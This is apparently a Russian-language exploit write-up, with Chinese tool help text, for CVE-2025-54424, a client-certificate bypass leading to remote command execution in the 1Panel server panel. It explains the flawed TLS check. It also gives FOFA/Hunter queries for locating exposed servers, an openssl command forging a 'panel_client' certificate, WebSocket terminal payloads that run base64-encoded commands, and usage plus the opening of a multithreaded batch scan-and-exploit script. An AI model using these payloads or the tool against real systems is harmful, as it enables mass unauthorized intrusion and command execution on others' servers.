
CVE-2025-54424: 1Panel Обход сертификата клиента RCE-уязвимость, универсальный инструмент (сканирование + эксплуатация)
CVE-2025-54424: Инструмент для эксплуатации RCE-уязвимости с обходом сертификата клиента в 1Panel (сканирование + эксплуатация)
1Panel - это современная панель управления Linux с открытым исходным кодом, предоставляющая графический интерфейс для развертывания сайтов, управления серверами и запуска служб.
В затронутых версиях политика TLS-аутентификации на стороне Agent установлена как tls.RequireAnyClientCert, что требует предоставления сертификата, но не проверяет его доверенность. Злоумышленник может обойти проверку TLS с помощью самоподписанного сертификата и подделать поле CN как panel_client, обходя проверку на уровне приложения. В конечном итоге злоумышленник может подделать сертификат для неавторизованного вызова интерфейса выполнения команд, что приводит к уязвимости удаленного выполнения команд.
<= v2.0.5
Строки поиска для hunter и fofa:
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
копия части уведомления об уязвимости из GitHub

agent/init/router/router.go
Обнаружено, что функция Routers вызывает функцию Certificate для глобальной проверки agent/middleware/certificate.go

Обнаружено, что функция Certificate проверяет, было ли установлено сертификатное соединение через c.Request.TLS.HandshakeComplete

Поскольку проверка истинности c.Request.TLS.HandshakeComplete определяется в функции Start файла agent/server/server.go с помощью tls.RequireAnyClientCert
Примечание: здесь используется tls.RequireAnyClientCert, а не tls.RequireAndVerifyClientCert. RequireAnyClientCert требует от клиента только предоставления сертификата, но не проверяет CA, подписавший сертификат, поэтому любой самоподписанный сертификат может пройти рукопожатие TLS.
Далее в функции Certificate другие проверки проверяют только то, что поле CN сертификата равно panel_client, но не проверяют издателя сертификата. В итоге обнаружено, что WebSocket-соединение может обойти проверку Proxy-ID.

В проекте существует множество WebSocket-интерфейсов.
/process/ws
Формат запроса следующий:{
"type": "ps", // тип данных: ps(процессы), ssh(SSH-сессии), net(сетевые соединения), wget(прогресс загрузки)
"pid": 123, // опционально, указать ID процесса для фильтрации
"name": "process_name", // опционально, фильтр по имени процесса
"username": "user" // опционально, фильтр по имени пользователя
}

/hosts/terminal
Формат запроса следующий:{
"type": "cmd",
"data": "d2hvYW1pCg==" // base64-кодировка "whoami", не забудьте добавить символ новой строки.
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
Используйте разработанный мной скрипт CVE-2025-54424.py для пакетного сканирования и эксплуатации. Инструкция по использованию инструмента:
Установите необходимые зависимости: pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 单个目标,进入利用模式。例如: 192.168.1.100:8080
-f FILE, --file FILE 目标文件,进入批量扫描模式。
-o OUTPUT, --output OUTPUT
[扫描模式] 保存漏洞结果的文件名。
-t THREADS, --threads THREADS
[扫描模式] 并发线程数。
--proxy PROXY 为所有请求设置代理。例如: http://127.0.0.1:8080
Например, одиночная проверка + выполнение команд (интерактивное выполнение команд через SSH) показан на рисунке ниже

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- 核心功能函数 ---